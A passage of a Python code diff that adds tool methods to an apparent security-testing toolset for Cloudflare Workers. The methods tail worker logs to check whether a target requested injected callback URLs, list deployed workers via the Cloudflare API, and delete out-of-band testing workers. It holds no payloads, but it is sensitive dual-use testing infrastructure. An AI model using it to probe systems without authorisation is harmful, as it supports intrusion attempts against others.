worker. + + Connects to the worker's real-time log stream for the specified + duration and returns console.log output plus request details (method, + URL). Use after injecting callback URLs to check if the target made + requests to your worker. + """ + auth_err = _auth_error() + if auth_err: + return auth_err + + worker_name = name.strip() + name_err = _validate_name(worker_name) + if name_err: + return name_err + + duration = max(1, min(seconds, 60)) + + # wrangler tail streams indefinitely; the subprocess timeout below + # is the intended stop mechanism, and its captured output is the + # payload, not an error. + try: + returncode, stdout, stderr, timed_out = await _run( + ["tail", worker_name, "--format", "json"], + timeout=duration + 10, + ) + except FileNotFoundError as e: + return f"Error: {e}" + + if not timed_out and returncode != 0: + return f"Error: wrangler tail failed:\n{_combined(stdout, stderr)}" + + formatted = _format_tail_output(stdout) + if formatted: + return f"Events from '{worker_name}':\n{formatted}" + + return f"No events received from '{worker_name}' in {duration}s." + + @tool_method(name="wrangler_list", catch=True) + async def list_workers(self) -> str: + """List deployed Cloudflare Workers. + + Shows all workers in the account via the Cloudflare API. Workers + created by this toolset use the 'dn-oast-' prefix for easy + identification. + """ + auth_err = _auth_error() + if auth_err: + return auth_err + + env = _resolve_env() + scripts: list[str] = [] + try: + async with httpx.AsyncClient(timeout=30.0) as client: + # Follow the API's own result_info pagination so accounts with + # many workers are listed completely, without guessing what + # the per-page limit is (the API tells us per_page/total). + page = 1 + while page <= _MAX_LIST_PAGES: + response = await client.get( + f"{_API_BASE}/accounts/{env['CLOUDFLARE_ACCOUNT_ID']}/workers/scripts", + params={"page": page}, + headers={ + "Authorization": f"Bearer {env['CLOUDFLARE_API_TOKEN']}", + }, + ) + if response.status_code != 200: + return f"Error: Cloudflare API returned HTTP {response.status_code}: {response.text[:500]}" + + try: + body = response.json() + except ValueError: + return f"Error: Cloudflare API returned non-JSON response: {response.text[:500]}" + if not isinstance(body, dict) or not body.get("success", False): + errors = ( + body.get("errors", []) if isinstance(body, dict) else [] + ) + return f"Error: Cloudflare API reported failure: {errors}" + + scripts.extend( + str(s.get("id", "")) + for s in body.get("result", []) or [] + if isinstance(s, dict) and s.get("id") + ) + + result_info = body.get("result_info") or {} + total = result_info.get("total_count", len(scripts)) + per_page = result_info.get("per_page") or len(scripts) or 1 + if page * per_page >= total: + break + page += 1 + except httpx.HTTPError as e: + return f"Error: Cloudflare API request failed: {e}" + if not scripts: + return "No workers deployed in this account." + + lines = [f"{len(scripts)} worker(s) deployed:"] + for script in sorted(scripts): + marker = ( + " (created by this toolset)" + if script.startswith(_WORKER_PREFIX) + else "" + ) + lines.append(f" - {script}{marker}") + return "\n".join(lines) + + @tool_method(name="wrangler_delete", catch=True) + async def delete( + self, + name: Annotated[str, "Name of the worker to delete."], + ) -> str: + """Delete a deployed Cloudflare Worker. + + Removes the worker and its workers.dev route. Use this to clean up + OAST workers after testing is complete. + """ + auth_err = _auth_error() + if auth_err: + return auth_err + + worker_name = name.strip() + name_err = _validate_name(worker_name) + if name_err: + return name_err + + try: + returncode, stdout, stderr, timed_out = await _run( + ["delete", worker_name, "--force"], timeout=60 + ) + except FileNotFoundError as e: + return f"Error: {e}" + + result = _combined(stdout, stderr) + if timed_out: + return f"Error: wrangler delete timed out.\n{result}" + if returncode != 0: + return f"Error: wrangler delete failed:\n{result}" + return f"Worker '{worker_name}' deleted.\n{result}".strip()